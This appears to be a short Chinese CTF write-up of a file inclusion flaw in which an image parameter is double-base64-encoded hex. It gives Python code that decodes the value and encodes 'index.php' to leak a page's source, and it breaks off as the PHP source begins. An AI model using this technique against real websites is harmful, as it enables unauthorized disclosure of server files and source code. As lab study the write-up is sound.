文件包含,base64
img=TXpVek5UTTFNbVUzTURabE5qYz0
这里的路径是经过了base64编码的,当时要注意的是这里在解码的时候记得要将末尾被省略掉的’='给加上去(猜测这里在解码的过程中可能有padding)(经过base64编码后个长度为4的倍数)
结果双重base64解码,然后hex 转string 之后就可以得到路径了.
c='TXpVek5UTTFNbVUzTURabE5qYz0='
import base64
from Crypto.Util import number
import binascii
print(binascii.unhexlify(base64.b64decode(base64.b64decode(c)).decode()))
#b'555.png'
于是我们尝试得到index.php的源代码
m='index.php'
from Crypto.Util import number
tmp1=hex(number.bytes_to_long(m.encode()))[2:]
import base64
tmp2=base64.b64encode(tmp1.encode())
print(base64.b64encode(tmp2))
#b'TmprMlpUWTBOalUzT0RKbE56QTJPRGN3'
传这个参数,得到
.
base64解码
<?php
error_reporting(E_ALL